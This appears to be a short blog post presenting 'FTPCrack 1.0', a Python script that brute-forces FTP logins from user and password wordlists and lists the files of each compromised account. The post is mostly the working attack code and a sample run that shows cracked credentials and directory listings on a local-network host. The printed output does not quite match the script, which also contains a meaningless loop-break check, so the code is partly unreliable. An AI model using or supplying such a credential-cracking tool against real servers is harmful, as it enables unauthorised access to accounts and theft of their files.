Sometimes you come upon an ftp server where you know the usernames but do not know the passwords to those usernames. This script goes through a username and password combo lists to try and crack the ftp login. Upon successful login the script then proceeds to list the directory of the user which has been comprimised by the brute force attack.
#!/usr/bin/env python """ Created on Tue Nov 10 21:30:47 2020 @author: Sam """ import argparse from ftplib import FTP parser = argparse.ArgumentParser() parser.add_argument("host", help="hostname") parser.add_argument("users", help="userlist") parser.add_argument("wordlist", help="wordlist") args = parser.parse_args() banner = """ ########################### # FTPCrack 1.0 # ########################### usage: ./ftpcrack.py <host> <userlist> <wordlist> """ users = open(args.users, "r").readlines() passwords = open(args.wordlist, "r").readlines() host = args.host print(banner) print("*** Searching for valid username / password combinations...") for user in users: for passwd in passwords: ftp = FTP(host) try: ftp.login(user.rstrip('\n'), passwd.rstrip('\n')) print("*** [LOGIN] " + "Username: " + user + "| Password: " + passwd + "'") print("*** [VERSION] " + ftp.getwelcome()) print("*** [CURRENT DIRECTORY] " + ftp.pwd()) print("*** [DIRECTORY LISTING]") print(ftp.retrlines('LIST')) print("*** Searching for more valid logins...") ftp.close() if user[-1] == user: break continue except: continue print("[DONE]")
If we run the script we get the following output.
C:\Users\Sam\Desktop\Code\ftpcrack>python ftpcrack.py 192.168.155.138 users.txt wordlist.lst ########################### # FTPCrack 1.0 # ########################### usage: ./ftpcrack.py*** Searching for valid username / password combinations... *** [LOGIN] 'john'/'baseball' *** [VERSION] 220 (vsFTPd 3.0.3) *** [CURRENT DIRECTORY] /home/john *** [DIRECTORY LISTING] -rw-r--r-- 1 1001 1001 0 Nov 10 22:46 catalog.cvs -rw-r--r-- 1 1001 1001 0 Nov 10 22:46 jobs.txt drwxr-xr-x 2 1001 1001 4096 Nov 10 22:42 private drwxr-xr-x 2 1001 1001 4096 Nov 10 22:41 pub -rw-r--r-- 1 1001 1001 0 Nov 10 22:46 refunds.xls drwxr-xr-x 2 1001 1001 4096 Nov 10 22:42 work 226 Directory send OK. *** Searching for more valid logins... *** [LOGIN] 'mike'/'football' *** [VERSION] 220 (vsFTPd 3.0.3) *** [CURRENT DIRECTORY] /home/mike *** [DIRECTORY LISTING] 226 Directory send OK. *** Searching for more valid logins... *** [LOGIN] 'tim'/'monkey' *** [VERSION] 220 (vsFTPd 3.0.3) *** [CURRENT DIRECTORY] /home/tim *** [DIRECTORY LISTING] 226 Directory send OK. *** Searching for more valid logins... *** [LOGIN] 'brad'/'dragon' *** [VERSION] 220 (vsFTPd 3.0.3) *** [CURRENT DIRECTORY] /home/brad *** [DIRECTORY LISTING] 226 Directory send OK. *** Searching for more valid logins... *** DONE C:\Users\Sam\Desktop\Code\ftpcrack>